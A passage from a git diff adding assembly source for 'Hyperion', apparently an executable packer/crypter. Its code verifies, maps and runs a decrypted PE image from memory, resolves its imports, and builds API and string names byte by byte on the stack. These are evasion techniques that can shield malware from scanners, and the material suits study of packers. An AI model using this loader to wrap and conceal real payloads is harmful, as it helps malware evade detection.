[location+12],'e' + mov [location+13],'c' + mov [location+14],'k' + mov [location+15],'s' + mov [location+16],'u' + mov [location+17],'m' + mov [location+18],0 +} + +macro createStringDone location +{ + mov [location+0],'D' + mov [location+1],'o' + mov [location+2],'n' + mov [location+3],'e' + mov [location+4],0 +} + +macro createStringLoading location +{ + mov [location+0],'L' + mov [location+1],'o' + mov [location+2],'a' + mov [location+3],'d' + mov [location+4],'i' + mov [location+5],'n' + mov [location+6],'g' + mov [location+7],' ' + mov [location+8],'A' + mov [location+9],'P' + mov [location+10],'I' + mov [location+11],'s' + mov [location+12],':' + mov [location+13],0 +} + +macro createStringError location +{ + mov [location+0],'E' + mov [location+1],'r' + mov [location+2],'r' + mov [location+3],'o' + mov [location+4],'r' + mov [location+5],0 +} + +macro createStringStartingHyperion location +{ + mov [location+00],'H' + mov [location+01],'y' + mov [location+02],'p' + mov [location+03],'e' + mov [location+04],'r' + mov [location+05],'i' + mov [location+06],'o' + mov [location+07],'n' + mov [location+08],' ' + mov [location+09],'L' + mov [location+10],'o' + mov [location+11],'g' + mov [location+12],'f' + mov [location+13],'i' + mov [location+14],'l' + mov [location+15],'e' + mov [location+16],13 + mov [location+17],10 + mov [location+18],0 +} + +macro createStringStartingHyperionLines location +{ + mov [location+00],'-' + mov [location+01],'-' + mov [location+02],'-' + mov [location+03],'-' + mov [location+04],'-' + mov [location+05],'-' + mov [location+06],'-' + mov [location+07],'-' + mov [location+08],'-' + mov [location+09],'-' + mov [location+10],'-' + mov [location+11],'-' + mov [location+12],'-' + mov [location+13],'-' + mov [location+14],'-' + mov [location+15],'-' + mov [location+16],13 + mov [location+17],10 + mov [location+18],0 +} + +macro createStringLogTxt location +{ + mov [location+0],'l' + mov [location+1],'o' + mov [location+2],'g' + mov [location+3],'.' + mov [location+4],'t' + mov [location+5],'x' + mov [location+6],'t' + mov [location+7],0 +} + +macro createStringKernel32 location +{ + mov [location+00],'k' + mov [location+01],'e' + mov [location+02],'r' + mov [location+03],'n' + mov [location+04],'e' + mov [location+05],'l' + mov [location+06],'3' + mov [location+07],'2' + mov [location+08],'.' + mov [location+09],'d' + mov [location+10],'l' + mov [location+11],'l' + mov [location+12],0 +} + +macro createStringCreateFileMapping location +{ + mov [location+00],'C' + mov [location+01],'r' + mov [location+02],'e' + mov [location+03],'a' + mov [location+04],'t' + mov [location+05],'e' + mov [location+06],'F' + mov [location+07],'i' + mov [location+08],'l' + mov [location+09],'e' + mov [location+10],'M' + mov [location+11],'a' + mov [location+12],'p' + mov [location+13],'p' + mov [location+14],'i' + mov [location+15],'n' + mov [location+16],'g' + mov [location+17],'A' + mov [location+18],0 +} + +macro createStringMapViewOfFile location +{ + mov [location+00],'M' + mov [location+01],'a' + mov [location+02],'p' + mov [location+03],'V' + mov [location+04],'i' + mov [location+05],'e' + mov [location+06],'w' + mov [location+07],'O' + mov [location+08],'f' + mov [location+09],'F' + mov [location+10],'i' + mov [location+11],'l' + mov [location+12],'e' + mov [location+13],0 +} + +macro createStringUnmapViewOfFile location +{ + mov [location+00],'U' + mov [location+01],'n' + mov [location+02],'m' + mov [location+03],'a' + mov [location+04],'p' + mov [location+05],'V' + mov [location+06],'i' + mov [location+07],'e' + mov [location+08],'w' + mov [location+09],'O' + mov [location+10],'f' + mov [location+11],'F' + mov [location+12],'i' + mov [location+13],'l' + mov [location+14],'e' + mov [location+15],0 +} + +macro createStringCreateFile location +{ + mov [location+00],'C' + mov [location+01],'r' + mov [location+02],'e' + mov [location+03],'a' + mov [location+04],'t' + mov [location+05],'e' + mov [location+06],'F' + mov [location+07],'i' + mov [location+08],'l' + mov [location+09],'e' + mov [location+10],'A' + mov [location+11],0 +} + +macro createStringCloseHandle location +{ + mov [location+00],'C' + mov [location+01],'l' + mov [location+02],'o' + mov [location+03],'s' + mov [location+04],'e' + mov [location+05],'H' + mov [location+06],'a' + mov [location+07],'n' + mov [location+08],'d' + mov [location+09],'l' + mov [location+10],'e' + mov [location+11],0 +} + +macro createStringGetFileSize location +{ + mov [location+00],'G' + mov [location+01],'e' + mov [location+02],'t' + mov [location+03],'F' + mov [location+04],'i' + mov [location+05],'l' + mov [location+06],'e' + mov [location+07],'S' + mov [location+08],'i' + mov [location+09],'z' + mov [location+10],'e' + mov [location+11],0 +} + +macro createStringDeleteFile location +{ + mov [location+00],'D' + mov [location+01],'e' + mov [location+02],'l' + mov [location+03],'e' + mov [location+04],'t' + mov [location+05],'e' + mov [location+06],'F' + mov [location+07],'i' + mov [location+08],'l' + mov [location+09],'e' + mov [location+10],'A' + mov [location+11],0 +} + +macro createStringGetModuleHandle location +{ + mov [location+00],'G' + mov [location+01],'e' + mov [location+02],'t' + mov [location+03],'M' + mov [location+04],'o' + mov [location+05],'d' + mov [location+06],'u' + mov [location+07],'l' + mov [location+08],'e' + mov [location+09],'H' + mov [location+10],'a' + mov [location+11],'n' + mov [location+12],'d' + mov [location+13],'l' + mov [location+14],'e' + mov [location+15],'A' + mov [location+16],0 +} + +macro createStringVirtualAlloc location +{ + mov [location+00],'V' + mov [location+01],'i' + mov [location+02],'r' + mov [location+03],'t' + mov [location+04],'u' + mov [location+05],'a' + mov [location+06],'l' + mov [location+07],'A' + mov [location+08],'l' + mov [location+09],'l' + mov [location+10],'o' + mov [location+11],'c' + mov [location+12],0 +} + +macro createStringVirtualProtect location +{ + mov [location+00],'V' + mov [location+01],'i' + mov [location+02],'r' + mov [location+03],'t' + mov [location+04],'u' + mov [location+05],'a' + mov [location+06],'l' + mov [location+07],'P' + mov [location+08],'r' + mov [location+09],'o' + mov [location+10],'t' + mov [location+11],'e' + mov [location+12],'c' + mov [location+13],'t' + mov [location+14],0 +} + +macro createStringVirtualFree location +{ + mov [location+00],'V' + mov [location+01],'i' + mov [location+02],'r' + mov [location+03],'t' + mov [location+04],'u' + mov [location+05],'a' + mov [location+06],'l' + mov [location+07],'F' + mov [location+08],'r' + mov [location+09],'e' + mov [location+10],'e' + mov [location+11],0 +} diff --git a/binary/hyperion/source/Src/Container/32/hyperion.inc b/binary/hyperion/source/Src/Container/32/hyperion.inc new file mode 100644 index 0000000..3730f0d --- /dev/null +++ b/binary/hyperion/source/Src/Container/32/hyperion.inc @@ -0,0 +1,14 @@ +CreateFileMapping equ 0 +MapViewOfFile equ CreateFileMapping + 4 +UnmapViewOfFile equ MapViewOfFile + 4 +CreateFile equ UnmapViewOfFile + 4 +CloseHandle equ CreateFile + 4 +GetFileSize equ CloseHandle + 4 +DeleteFile equ GetFileSize + 4 +GetModuleHandle equ DeleteFile + 4 +VirtualAlloc equ GetModuleHandle + 4 +VirtualProtect equ VirtualAlloc + 4 +VirtualFree equ VirtualProtect + 4 + +SIZE_DATA_SECTION_NAME equ 5 +SIZE_CHECKSUM equ 4 \ No newline at end of file diff --git a/binary/hyperion/source/Src/Container/32/loadapis.asm b/binary/hyperion/source/Src/Container/32/loadapis.asm new file mode 100644 index 0000000..0f22687 --- /dev/null +++ b/binary/hyperion/source/Src/Container/32/loadapis.asm @@ -0,0 +1,135 @@ +;Dynamically load the needed APIs +;Strings are created on stack + +;dllname: zero terminated string with dll name +;store: save the dll image base here +;Jumps to LoadLogAPIsExit if an Error Occurs +macro loadDLL dllname, store, exit +{ + lea eax,[dllname] + invoke LoadLibrary,eax + test eax,eax + jz exit + mov [store],eax +} + +;functionname: zero terminated string with functions name +;dll_imagebase: imagebase of the dll +;returns: function pointer in eax +macro loadAPI functionname, dll_imagebase, exit +{ + lea eax,[functionname] + invoke GetProcAddress,dword [dll_imagebase],eax + test eax,eax + jz exit +} + +;Loads all necessary APISs +proc loadRegularAPIs stdcall APITable:DWORD + +local str1[256]:BYTE, kernel32_imagebase:DWORD + + pushad + writeWithNewLine createStringLoading, str1, LoadRegularAPIsExit_Error + + ;Get Kernel32.Dll Imagebase + writeWithNewLine createStringKernel32, str1, LoadRegularAPIsExit_Error + loadDLL str1, kernel32_imagebase, LoadRegularAPIsExit_Error + + ;Load GetModuleHandle + writeWithNewLine createStringGetModuleHandle, str1, LoadRegularAPIsExit_Error + loadAPI str1, kernel32_imagebase, LoadRegularAPIsExit_Error + mov edx,[APITable] + mov [edx+GetModuleHandle],eax + + ;Load VirtualAlloc + writeWithNewLine createStringVirtualAlloc, str1, LoadRegularAPIsExit_Error + loadAPI str1, kernel32_imagebase, LoadRegularAPIsExit_Error + mov edx,[APITable] + mov [edx+VirtualAlloc],eax + + ;Load VirtualProtect + writeWithNewLine createStringVirtualProtect, str1, LoadRegularAPIsExit_Error + loadAPI str1, kernel32_imagebase, LoadRegularAPIsExit_Error + mov edx,[APITable] + mov [edx+VirtualProtect],eax + + ;Load VirtualFree + writeWithNewLine createStringVirtualFree, str1, LoadRegularAPIsExit_Error + loadAPI str1, kernel32_imagebase, LoadRegularAPIsExit_Error + mov edx,[APITable] + mov [edx+VirtualFree],eax + + popad + mov eax,1 + ret + +LoadRegularAPIsExit_Error: + popad + mov eax,0 + ret +endp + +;Loads the basic functions for log file access +proc loadLogAPIs stdcall APITable:DWORD + +local str1[256]:BYTE, kernel32_imagebase:DWORD + + pushad + ;Get Kernel32.Dll Imagebase + createStringKernel32 str1 + loadDLL str1, kernel32_imagebase, LoadLogAPIsExit_Error + + ;Load CreateFileMapping API + createStringCreateFileMapping str1 + loadAPI str1, kernel32_imagebase, LoadLogAPIsExit_Error + mov edx,[APITable] + mov [edx+CreateFileMapping],eax + + ;Load MapViewOfFile API + createStringMapViewOfFile str1 + loadAPI str1, kernel32_imagebase, LoadLogAPIsExit_Error + mov edx,[APITable] + mov [edx+MapViewOfFile],eax + + ;Load UnmapViewOfFile API + createStringUnmapViewOfFile str1 + loadAPI str1, kernel32_imagebase, LoadLogAPIsExit_Error + mov edx,[APITable] + mov [edx+UnmapViewOfFile],eax + + ;Load UnmapViewOfFile API + createStringCreateFile str1 + loadAPI str1, kernel32_imagebase, LoadLogAPIsExit_Error + mov edx,[APITable] + mov [edx+CreateFile],eax + + ;Load CloseHandle API + createStringCloseHandle str1 + loadAPI str1, kernel32_imagebase, LoadLogAPIsExit_Error + mov edx,[APITable] + mov [edx+CloseHandle],eax + + ;Load GetFileSize API + createStringGetFileSize str1 + loadAPI str1, kernel32_imagebase, LoadLogAPIsExit_Error + mov edx,[APITable] + mov [edx+GetFileSize],eax + + ;Load DeleteFile API + createStringDeleteFile str1 + loadAPI str1, kernel32_imagebase, LoadLogAPIsExit_Error + mov edx,[APITable] + mov [edx+DeleteFile],eax + + ;apis loaded successfully + popad + mov eax,1 + ret + +LoadLogAPIsExit_Error: + popad + mov eax,0 + ret + +endp diff --git a/binary/hyperion/source/Src/Container/32/loadexecutable.asm b/binary/hyperion/source/Src/Container/32/loadexecutable.asm new file mode 100644 index 0000000..9014946 --- /dev/null +++ b/binary/hyperion/source/Src/Container/32/loadexecutable.asm @@ -0,0 +1,584 @@ +;Loads the exe which is stored in input_image +;into memory and starts its execution +proc loadExecutable stdcall APITable:DWORD,\ +input_image:DWORD + +local str1[256]:BYTE, ret_val:DWORD, image_file_header:DWORD,\ +loaded_file:DWORD + + pushad + ;verify checksum of packed executable + writeWithNewLine createStringVerifyChecksum, str1, le_exit_error + stdcall verifyChecksum, [input_image], INFILE_SIZE + test eax,eax + jz le_exit_error + + ;verify whether the content of the data section is pe + writeWithNewLine createStringVerifyPE, str1, le_exit_error + mov eax,[input_image] + add eax,4 + stdcall verifyPE, eax, INFILE_SIZE + test eax,eax + mov [image_file_header],eax + jz le_exit_error + + ;copy pe header and sections into memory + writeNewLineToLog APITable + writeWithNewLine createStringMappingFileInMemory, str1, le_exit_error + mov eax,[input_image] + add eax,4 + mov ebx,INFILE_SIZE + sub ebx,4 + stdcall loadFile, [APITable], [image_file_header], eax, ebx + test eax,eax + mov [loaded_file],eax + jz le_exit_error + + ;loading import table + writeNewLineToLog APITable + writeWithNewLine createStringLoadingFilesAPIs, str1, le_exit_error + stdcall loadImportTable, [APITable], [loaded_file] + test eax,eax + jz le_exit_error + + ;set the correct permissions for each section + writeNewLineToLog APITable + writeWithNewLine createStringSettingPermissions, str1, le_exit_error + mov eax,[input_image] + add eax,4 + mov ebx,INFILE_SIZE + sub ebx,4 + stdcall setPermissions, [APITable], [image_file_header], eax, ebx + test eax,eax + jz le_exit_error + +le_exit_success: + popad + mov eax,1 + ret + +le_exit_error: + popad + mov eax,0 + ret + +endp + +;load the APIs in the import table +proc loadImportTable, APITable:DWORD, image_base:DWORD + +local str1[256]:BYTE, import_table:DWORD, null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE + + pushad + ;find import table in data directory + mov edx,[image_base] + mov eax,[edx+IMAGE_DOS_HEADER.e_lfanew] + add eax,edx + add eax,4 + ;image file header now in eax + add eax,sizeof.IMAGE_FILE_HEADER + lea eax,[eax+IMAGE_OPTIONAL_HEADER32.DataDirectory] + ;first data directory entry now in eax + add eax,sizeof.IMAGE_DATA_DIRECTORY + ;import data directory entry now in eax + mov eax,[eax+IMAGE_DATA_DIRECTORY.VirtualAddress] + add eax,edx + ;pointer to import table now in eax + mov [import_table],eax + writeWithNewLine createStringFoundImportTable, str1, le_exit_error + writeRegisterToLog APITable, [import_table] + test eax,eax + jz pit_exit_error + + ;init null directory entry + lea esi,[null_directory_entry] + mov ecx,sizeof.IMAGE_IMPORT_DESCRIPTOR + mov al,0 +pit_init_null_directory_loop: + mov [esi],al + inc esi + dec ecx + jnz pit_init_null_directory_loop + + mov ebx,[import_table] + ;iterate over the directory tables +pit_next_directory_entry: + lea esi,[null_directory_entry] + mov edi,ebx + mov ecx,sizeof.IMAGE_IMPORT_DESCRIPTOR + rep cmpsb + je pit_exit_success + ;load APIs of this directory + stdcall loadImportDirectoryTable, [APITable], [image_base], ebx + test eax,eax + jz pit_exit_error + ;next entry + add ebx,sizeof.IMAGE_IMPORT_DESCRIPTOR + jmp pit_next_directory_entry + +pit_exit_success: + popad + mov eax,1 + ret + +pit_exit_error: + popad + mov eax,0 + ret +endp + +;loads the APIs +proc loadImportDirectoryTable stdcall, APITable:DWORD, image_base:DWORD, directory_entry:DWORD + +local str1[256]:BYTE, lookup_table:DWORD, import_address_table:DWORD, dll_image_base:DWORD + + pushad + ;write info about data directory table to logfile + writeNewLineToLog APITable + test eax,eax + jz lidt_exit_error + writeWithNewLine createStringProcessImportDirectory, str1, lidt_exit_error + mov eax,[directory_entry] + mov eax,[eax+IMAGE_IMPORT_DESCRIPTOR.Name_] + add eax,[image_base] + mov ebx,eax + ;pointer to dll name in ebx + writeLog APITable, eax + test eax,eax + jz lidt_exit_error + writeNewLineToLog APITable + test eax,eax + jz lidt_exit_error + + ;load the corresponding dll + invoke LoadLibrary, ebx + test eax,eax + jz lidt_exit_error + mov [dll_image_base],eax + + ;read pointer to the api tables + mov edx,[directory_entry] + mov eax,[edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk] + add eax,[image_base] + mov [lookup_table],eax + mov eax,[edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk] + add eax,[image_base] + mov [import_address_table],eax + + ;index to current API + sub ecx,ecx + ;iterate the lookup_table entries +lidt_next_lookup_entry: + mov eax,[lookup_table] + add eax,ecx + mov eax,[eax] + test eax,eax + jz lidt_exit_success + mov ebx,eax + and eax,IMAGE_ORDINAL_FLAG32 + jnz lidt_byordinal +lidt_byname: + createStringName str1 + lea eax,[str1] + writeLog APITable, eax + test eax,eax + jz lidt_exit_error + add ebx,[image_base] + lea ebx,[ebx+IMAGE_IMPORT_BY_NAME.Name_] + mov eax,ebx + writeLog APITable, eax + test eax,eax + jz lidt_exit_error + writeNewLineToLog APITable + test eax,eax + jz lidt_exit_error + ;API name pointer in ebx + push ecx + invoke GetProcAddress, [dll_image_base], ebx + pop ecx + test eax,eax + jz lidt_exit_error + mov ebx,[import_address_table] + add ebx,ecx + mov [ebx],eax + ;fetch next API + add ecx,4 + jmp lidt_next_lookup_entry + +lidt_byordinal: + createStringOrdinal str1 + lea eax,[str1] + writeLog APITable, eax + test eax,eax + jz lidt_exit_error + ;remove the ordinal flag + xor ebx,IMAGE_ORDINAL_FLAG32 + mov eax,ebx + writeRegisterToLog APITable, eax + test eax,eax + jz pit_exit_error + ;API ordinal in ebx + push ecx + invoke GetProcAddress, [dll_image_base], ebx + pop ecx + test eax,eax + jz lidt_exit_error + mov ebx,[import_address_table] + add ebx,ecx + mov [ebx],eax + ;fetch next API + add ecx,4 + jmp lidt_next_lookup_entry + +lidt_exit_success: + popad + mov eax,1 + ret + +lidt_exit_error: + popad + mov eax,0 + ret +endp; + +;sets the memory permissions for each section +proc setPermissions stdcall, APITable:DWORD, image_file_header:DWORD, file_image_base:DWORD, \ +file_image_size:DWORD + +local number_of_sections:DWORD, image_base:DWORD, section_headers:DWORD,\ +pe_header_size:DWORD, str1[256]:BYTE, vprotect_ret:DWORD + + pushad + ;find section header + mov edx,[image_file_header] + sub eax,eax + mov ax,[edx+IMAGE_FILE_HEADER.NumberOfSections] + mov [number_of_sections],eax + add edx,sizeof.IMAGE_FILE_HEADER + mov eax,[edx+IMAGE_OPTIONAL_HEADER32.ImageBase] + mov [image_base],eax + ;search for section header + lea ebx,[edx+IMAGE_OPTIONAL_HEADER32.DataDirectory] + mov eax,[edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes] + mov edx,sizeof.IMAGE_DATA_DIRECTORY + mul edx + add eax,ebx + ;first section header found + mov [section_headers],eax + mov eax,sizeof.IMAGE_SECTION_HEADER + mov edx,[number_of_sections] + mul edx + ;end of section header sections found + add eax,[section_headers] + mov ebx,[file_image_base] + sub eax,ebx + ;unaligned size of pe header in eax + mov [pe_header_size],eax + + ;set pe header page read-only + mov edx,[APITable] + lea eax,[vprotect_ret] + stdcall dword [edx+VirtualProtect], [image_base], [pe_header_size], PAGE_READONLY, eax + test eax,eax + jz sp_exit_error + + ;some output for the user + writeRegisterToLog APITable, [image_base] + test eax,eax + jz sp_exit_error + + ;set the section page permissions + mov ecx,[number_of_sections] + mov ebx,[section_headers] +sp_load_section_loop: + stdcall setSection, [APITable], ebx, [image_base], [file_image_base] + test eax,eax + jz sp_exit_error + add ebx,sizeof.IMAGE_SECTION_HEADER + dec ecx + jnz sp_load_section_loop + +sp_exit_success: + popad + mov eax,1 + ret + +sp_exit_error: + popad + sub eax,eax + ret +endp; + +;sets the complete image of the decrypted file writeable so +;we can copy pe header and sections into into +proc loadFile stdcall, APITable:DWORD, image_file_header:DWORD, file_image_base:DWORD, \ +file_image_size:DWORD + +local number_of_sections:DWORD, image_base:DWORD, aux:DWORD,\ +str1[256]:BYTE, vprotect_ret:DWORD, section_headers:DWORD, pe_header_size:DWORD + + pushad + ;find section header + mov edx,[image_file_header] + sub eax,eax + mov ax,[edx+IMAGE_FILE_HEADER.NumberOfSections] + mov [number_of_sections],eax + add edx,sizeof.IMAGE_FILE_HEADER + mov eax,[edx+IMAGE_OPTIONAL_HEADER32.ImageBase] + mov [image_base],eax + ;make the complete image writable + mov eax,[edx+IMAGE_OPTIONAL_HEADER32.SizeOfImage] + mov [aux],edx ;store edx, we need it later + lea edx,[vprotect_ret] + mov ebx,[APITable] + stdcall dword [ebx+VirtualProtect], [image_base], eax, PAGE_READWRITE, edx + test eax,eax + jz lf_exit_error + + ;some output for the user + writeWithNewLine createStringLoadedPEHeader, str1, lf_exit_error + writeRegisterToLog APITable, [image_base] + test eax,eax + jz lf_exit_error + + mov edx,[aux] ;restore edx + ;continue search for section header + lea ebx,[edx+IMAGE_OPTIONAL_HEADER32.DataDirectory] + mov eax,[edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes] + mov edx,sizeof.IMAGE_DATA_DIRECTORY + mul edx + add eax,ebx + + ;first section header found + mov [section_headers],eax + mov eax,sizeof.IMAGE_SECTION_HEADER + mov edx,[number_of_sections] + mul edx + ;end of section header sections found + add eax,[section_headers] + mov ebx,[file_image_base] + sub eax,ebx + ;unaligned size of pe header in eax + mov [pe_header_size],eax + + ;copy header to memory + mov edi,[image_base] + mov esi,[file_image_base] + mov ecx,[pe_header_size] + rep movsb + + ;load the sections + mov ecx,[number_of_sections] + mov ebx,[section_headers] +lf_load_section_loop: + stdcall loadSection, [APITable], ebx, [image_base], [file_image_base] + test eax,eax + jz lf_exit_error + add ebx,sizeof.IMAGE_SECTION_HEADER + dec ecx + jnz lf_load_section_loop + +lf_exit_success: + popad + mov eax,[image_base] + ret + +lf_exit_error: + popad + mov eax,0 + ret + +endp + +;load the corresponding section into memory +proc loadSection stdcall, APITable:DWORD, section_header:DWORD, image_base:DWORD,\ +file_image_base:DWORD + +local str1[256]:BYTE + + pushad + ;copy from file into memory + mov edx,[section_header] + mov edi,[edx+IMAGE_SECTION_HEADER.VirtualAddress] + add edi,[image_base] + mov esi,[file_image_base] + add esi,[edx+IMAGE_SECTION_HEADER.PointerToRawData] + mov ecx,[edx+IMAGE_SECTION_HEADER.SizeOfRawData] + rep movsb + + ;print some infos to the log file + createStringLoaded str1 + lea eax,[str1] + writeLog APITable, eax + test eax,eax + jz ls_exit_error + lea edi,[str1] + mov byte [edi+8],0 + mov edx,[section_header] + lea esi,[edx+IMAGE_SECTION_HEADER._Name] + mov ecx,8 + push edi + rep movsb + pop edi + writeLog APITable, edi + writeNewLineToLog APITable + mov edx,[section_header] + mov eax,[edx+IMAGE_SECTION_HEADER.VirtualAddress] + add eax,[image_base] + writeRegisterToLog APITable, eax + +ls_exit_success: + popad + mov eax,1 + ret + +ls_exit_error: + popad + sub eax,eax + ret + +endp + +;set the memory page permission for the corresponding section +proc setSection stdcall, APITable:DWORD, section_header:DWORD, image_base:DWORD,\ +file_image_base:DWORD + +local section_flags:DWORD, vprotect_ret:DWORD, str1[256]:BYTE + + pushad + mov edx,[section_header] +;section execute/read/write? + mov ebx,[edx+IMAGE_SECTION_HEADER.Characteristics] + and ebx,IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + cmp ebx,IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + jne ssn_no_execute_read_write + mov eax,PAGE_EXECUTE_READWRITE + mov [section_flags],eax + jmp ssn_set_memory +ssn_no_execute_read_write: + ;section execute/read? + mov ebx,[edx+IMAGE_SECTION_HEADER.Characteristics] + and ebx,IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ + cmp ebx,IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ + jne ssn_no_execute_read + mov eax,PAGE_EXECUTE_READ + mov [section_flags],eax + jmp ssn_set_memory +ssn_no_execute_read: + ;section read/write? + mov ebx,[edx+IMAGE_SECTION_HEADER.Characteristics] + and ebx,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + cmp ebx,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + jne ssn_no_read_write + mov eax,PAGE_READWRITE + mov [section_flags],eax + jmp ssn_set_memory +ssn_no_read_write: + ;section read? + mov ebx,[edx+IMAGE_SECTION_HEADER.Characteristics] + and ebx,IMAGE_SCN_MEM_READ + cmp ebx,IMAGE_SCN_MEM_READ + jne ssn_no_read + mov eax,PAGE_READONLY + mov [section_flags],eax + jmp ssn_set_memory +ssn_no_read: + mov eax,PAGE_NOACCESS + mov [section_flags],eax + + ;set section permissions +ssn_set_memory: + mov edx,[section_header] + mov eax,[edx+IMAGE_SECTION_HEADER.VirtualAddress] + add eax,[image_base] + mov ebx,[edx+IMAGE_SECTION_HEADER.VirtualSize] + mov ecx,[APITable] + lea edx,[vprotect_ret] + stdcall dword [ecx+VirtualProtect],eax,ebx,[section_flags], edx + test eax,eax + jz ssn_exit_error + + ;some output for the user + mov edx,[section_header] + mov eax,[edx+IMAGE_SECTION_HEADER.VirtualAddress] + add eax,[image_base] + writeRegisterToLog APITable, eax + +ssn_exit_success: + popad + mov eax,1 + ret + +ssn_exit_error: + popad + sub eax,eax + ret +endp; + +;check MZ und PE signature and return start of the image file header +proc verifyPE stdcall, image_base:DWORD, section_size:DWORD + +local retval:DWORD + + pushad + mov edx,[image_base] + mov ax,[edx+IMAGE_DOS_HEADER.e_magic] + cmp ax,IMAGE_DOS_SIGNATURE + jne vpe_exit_error + mov eax,[edx+IMAGE_DOS_HEADER.e_lfanew] + add edx,eax + mov eax,dword [edx] + cmp eax,IMAGE_NT_SIGNATURE + jne vpe_exit_error + add edx,4 + mov [retval],edx + +vpe_exit_success: + popad + mov eax,[retval] + ret + +vpe_exit_error: + popad + sub eax,eax + ret + +endp + +;First 4 bytes of data seciton contain a checksum +;Verify that the checksum is correct +;TODO: CHECKSUM SIZE is atm hardcoded +proc verifyChecksum stdcall, section_address:DWORD, section_size:DWORD + + pushad + mov ebx,dword [section_address] + mov eax,[ebx] + add ebx,4 + mov ecx,[section_size] + sub ecx,4 + ;checksum is in eax + ;pointer to file in ebx + ;size of file in ecx + sub edi,edi +vs_calc_cs: + sub edx,edx + mov dl,byte [ebx] + add edi,edx + inc ebx + dec ecx + jnz vs_calc_cs + ;calculated checksum is in edi + cmp edi,eax + jne vs_exit_error + +vs_exit_success: + popad + mov eax,1 + ret + +vs_exit_error: + popad + sub eax,eax + ret + +endp \ No newline at end of file diff --git a/binary/hyperion/source/Src/Container/32/logfile_disable.asm b/binary/hyperion/source/Src/Container/32/logfile_disable.asm new file mode 100644 index 0000000..de2ead3 --- /dev/null +++ b/binary/hyperion/source/Src/Container/32/logfile_disable.asm @@ -0,0 +1,25 @@ +;writes a string and a newline to the logfile +macro writeWithNewLine char_sequence, char_buffer, error_exit{ + char_sequence char_buffer + mov eax,1 +} + +;write a string to the logfile +macro writeLog apitable, content{ + mov eax,1 +} + +;delete old log file and create a new one +macro initLogFile apitable{ + mov eax,1 +} + +;write a newline into logfile +macro writeNewLineToLog apitable{ + mov eax,1 +} + +;write a register value into logile +macro writeRegisterToLog apitable, value{ + mov eax,1 +} \ No newline at end of file diff --git a/binary/hyperion/source/Src/Container/32/logfile_enable.asm b/binary/hyperion/source/Src/Container/32/logfile_enable.asm new file mode 100644 index 0000000..b2946f2 --- /dev/null +++ b/binary/hyperion/source/Src/Container/32/logfile_enable.asm @@ -0,0 +1,251 @@ +;------------------------------------------- +;the content of this file is excluded, | +;when the user disables logging features | +;in hyperion command line. pls keep in mind | +;and dont rely on its existence. | +;------------------------------------------- + +;--- Begin Macro Section --- + +;writes a string and a newline to the logfile +macro writeWithNewLine char_sequence, char_buffer, error_exit +{ + char_sequence char_buffer + lea eax,[str1] + stdcall writeLog_,[APITable],eax + test eax,eax + jz error_exit + stdcall writeNewLineToLog_,[APITable] + test eax,eax + jz error_exit +} + +;write a string to the logfile +macro writeLog apitable, content{ + stdcall writeLog_,[apitable], content +} + +;delete old log file and create a new one +macro initLogFile apitable{ + stdcall initLogFile_, [apitable] +} + +;write a newline into logfile +macro writeNewLineToLog apitable{ + stdcall writeNewLineToLog_, [apitable] +} + +;write a register value into logile +macro writeRegisterToLog apitable, value{ + stdcall writeRegisterToLog_, [apitable], value +} + +;--- End Macro Section --- + +;write into log.txt +;returns false if an eerror occurs +proc writeLog_ stdcall APITable:DWORD, content:DWORD + +local str1[256]:BYTE, oldlogsize:DWORD, newlogsize:DWORD, contentsize:DWORD,\ + filehandle:DWORD, filemappingobject:DWORD, mapaddress:DWORD, retval:DWORD + + pushad + ;open file + createStringLogTxt str1 + mov eax,[APITable] + lea ebx,[str1] + sub edx,edx + stdcall dword [eax+CreateFile], ebx, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, edx, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, edx + mov [retval],eax + test eax,eax + jz wl_logexit + mov [filehandle],eax + + ;get logfile size + mov eax,[APITable] + stdcall dword [eax+GetFileSize], dword [filehandle], 0 + mov [oldlogsize],eax + + ;get size of string for logfile for concatenation + stdcall strlen_, dword [content] + mov [contentsize], eax + add eax,dword [oldlogsize] + mov [newlogsize], eax + + ;create the file mapping + sub ebx,ebx + mov edx,[APITable] + stdcall dword [edx+CreateFileMapping], dword [filehandle], ebx, PAGE_READWRITE, ebx, eax, ebx + mov [retval],eax + test eax, eax + jz wl_closelogfile + mov [filemappingobject],eax + + sub ebx,ebx + mov edx,[APITable] + stdcall dword [edx+MapViewOfFile], eax, FILE_MAP_ALL_ACCESS, ebx, ebx, dword [newlogsize] + mov [retval],eax + test eax, eax + jz wl_closemaphandle + mov [mapaddress],eax + + ;copy string into map + add eax,[oldlogsize] + mov edi,eax + mov esi,[content] + mov ecx,[contentsize] + repz movsb + mov [retval],1 + +wl_unmapfile: + mov edx,[APITable] + stdcall dword [edx+UnmapViewOfFile], dword [mapaddress] + +wl_closemaphandle: + mov edx,[APITable] + stdcall dword [edx+CloseHandle], dword [filemappingobject] + +wl_closelogfile: + mov eax,[APITable] + stdcall dword [eax+CloseHandle], dword [filehandle] + +wl_logexit: + popad + mov eax,[retval] + ret; + +endp + +;adds a to the logfile +;returns false if an error occurs +proc writeNewLineToLog_ APITable:DWORD + +local str1[3]:BYTE + + lea eax,[str1] + mov byte [eax+0],13 + mov byte [eax+1],10 + mov byte [eax+2],0 + stdcall writeLog_, [APITable], eax + ret + +endp + +;adds "" to the logfile +;returns false if an error occurs +proc writeRegisterToLog_ stdcall APITable:DWORD, Value:DWORD + +local str1[10]:BYTE, retval:DWORD + + pushad + lea eax,[str1] + stdcall binToString_, eax, [Value] + stdcall writeLog_,[APITable],eax + mov [retval],eax + test eax,eax + jz wrtl_exit + stdcall writeNewLineToLog_,[APITable] + mov [retval],eax + test eax,eax + jz wrtl_exit + +wrtl_exit: + popad + mov eax,[retval] + ret + +endp + +;converts into an 8 byte string and stores it +proc 